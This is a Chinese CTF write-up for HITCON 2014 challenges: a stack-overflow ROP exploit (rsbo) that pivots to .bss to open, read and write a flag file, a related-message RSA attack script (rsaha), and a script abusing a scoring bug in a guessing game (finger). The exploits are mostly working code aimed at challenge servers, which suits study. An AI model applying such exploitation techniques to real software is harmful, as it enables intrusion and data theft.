0x01 rsbo

ELF 32-bit LSB executable 栈有随机化且不能执行 静态分析程序,有调试信息 read_80_bytes能读入0x80即128bytes到&v2,造成栈溢出 但输入后会进行一个混淆,所以使用0输入前0x60位,可覆盖过变量v5的位置,当随机替换v5处值与之前的0时即可退出循环 eip之后还有16bytes可用,考虑到栈不可执行,所以使用ROP方式,依次调用open,read,write来打开读取flag再写出,flag的路径在init函数中已经有了。 这边有两种思路,第一种就利用之后的16byte,因为空间很小,所以一次就调用一个函数,先调用open,之后ret回main。再次输入再次溢出时调用read,之后再次返回main,溢出后调用write 第二种就是先调用read或者read_80_bytes读入到.bss,之后ebp指向.bss进入ROP链 我是使用第二种,exp如下(没有网络通信部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python2.7
\# -*- coding: utf-8 -*-
'''
hitcon2014
rsbo
exp
'''
import struct
def main():
junk = struct.pack('<I', 0x00000000) * 26
bss = struct.pack('<I', 0x0804a040)
read\_80\_byte = struct.pack('<I', 0x0804865c)
leave_ret = struct.pack('<I', 0x0804867d)
opep_pid = struct.pack('<I', 0x08048420)
read_pid = struct.pack('<I', 0x080483e0)
write_pid = struct.pack('<I', 0x08048450)
pppr = struct.pack('<I', 0x0804879d)
ppr = struct.pack('<I', 0x0804879e)
buf = struct.pack('<I', 0x0804a080)
read_size = struct.pack('<I', 0x10)
flag_path = struct.pack('<I', 0x080487d0)
fd = struct.pack('<I', 0x3)
#send
payload1 = ''
payload1 += junk
#ebp
payload1 += bss
#call read\_80\_byte
payload1 += read\_80\_byte
#set esp=ebp=.bss
payload1 += leave_ret
#read\_80\_byre arg1
payload1 += bss
#junk
payload1 += struct.pack('<I',0x00) *2
#write to .bss
payload2 = ''
#ebp
payload2 += struct.pack('<I', 0x00)
#open
payload2 += opep_pid
#ppr
payload2 += ppr
#open arg
payload2 += flag_path
payload2 += struct.pack('<I',0x00)
#read
payload2 += read_pid
#pppr
payload2 += pppr
#read arg
payload2 += fd
payload2 += buf
payload2 += read_size
#write
payload2 += write_pid
#****
payload2 += pppr
#write arg
payload2 += struct.pack('<I',0x1)
payload2 += buf
payload2 += read_size
payload = payload1 + payload2
print payload
if \_\_name\_\_ == '\_\_main\_\_':
main()

0x02 rsaha

这个是利用RSA的低指数攻击 paperhttps://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf 用到了sage http://www.sagemath.org/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import socket
def get_m(n,c1,c2):
e=3
x = PolynomialRing(ZZ.quo(n*ZZ), 'x').gen()
f=x**e-c1
g=(x+1)**e-c2
a = f
b = g
i = 0
while True:
r = a % b
#print i
if r == 0:
#print 'FOUND %s' % rp
c = rp.coeffs()
return int(-pow(c\[1\], -1, n) * c\[0\])
rp = r
a, b = b, r
i += 1
sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
sock.connect(('54.64.40.172', 5454))
recv = sock.recv(100000)
print repr(recv)
n = int(recv)
recv = sock.recv(100000)
c = recv.split('n')
c1 = int(c\[1\])
c2 = int(c\[2\])
print 'n:%d' % n
print 'c1:%d' % c1
print 'c2:%d' % c2
m = get_m(n,c1,c2)
print m
sock.send("%dn" % m)
recv = sock.recv(100000)
print repr(recv)
for i in range(9):
recv = sock.recv(100000)
print repr(recv)
c = recv.split('n')
print c
n = int(c\[1\])
c1 = int(c\[2\])
c2 = int(c\[3\])
print 'n:%d' % n
print 'c1:%d' % c1
print 'c2:%d' % c2
m = get_m(n,c1,c2)
print 'm:%d' % m
sock.send("%dn" % m)
recv = sock.recv(100000)
print repr(recv)

0x03 finger

是ginger的简单版,因为出题人留bug了所以变简单了。。 分析程序,一开始出3个字符串,自己选一个,BOSS选一个。 三个字符串是循环取胜的关系,相当于要跟boss比猜拳。 你先选一个,然后发送这个字符串开头的16位字符串的md5给它,然后boss告诉你它选了什么,之后你再发你选了什么。比胜负。 那个验证的部分我说的简单了,ginger就是要绕过这个验证部分。 finger的话有个bug。如果你作弊了,就是前后不一的话扣1血。你赢了boss它扣1-3血,所以总是可以赢的。 下面是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python2.7
\# -*- coding: utf-8 -*-
'''
Created on 2014年8月17日
@author: yf
'''
import socket
import md5
import re
import time
def get_md5(hand):
return int(md5.md5(hand).hexdigest(),16)
if \_\_name\_\_ == '\_\_main\_\_':
sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
sock.connect(('210.71.253.236',7171))
#round num
recv = sock.recv(1024)
recv = sock.recv(1024)
recv = recv.split('n')
hands=\[\]
print recv\[3\]\[9:\]
hands = eval (recv\[3\]\[9:\])
secret = hands\[2\]+'11111111111'
sock.send("1n")
recv = sock.recv(1024)
print recv
sock.send("%dn" % get_md5(secret))
time.sleep(2)
recv = sock.recv(1024)
print recv
his_hand = recv\[recv.find('e:')+3:recv.find('e:')+8\]
print 'HIS:'+his_hand
if his_hand==hands\[0\]:
sock.send('111n')
else:
sock.send(secret+'n')
recv = sock.recv(1024)
print recv
while 1:
#new round
time.sleep(0.5)
recv = sock.recv(1024)
print recv
recv = recv.split('n')
print recv
hands = eval (recv\[4\]\[9:\])
secret = hands\[2\]+'11111111111'
sock.send("1n")
recv = sock.recv(1024)
print recv
sock.send("%dn" % get_md5(secret))
time.sleep(2)
recv = sock.recv(1024)
print recv
his_hand = recv\[recv.find('e:')+3:recv.find('e:')+8\]
print 'HIS:'+his_hand
if his_hand==hands\[0\]:
sock.send('111n')
else:
sock.send(secret+'n')
recv = sock.recv(1024)
print recv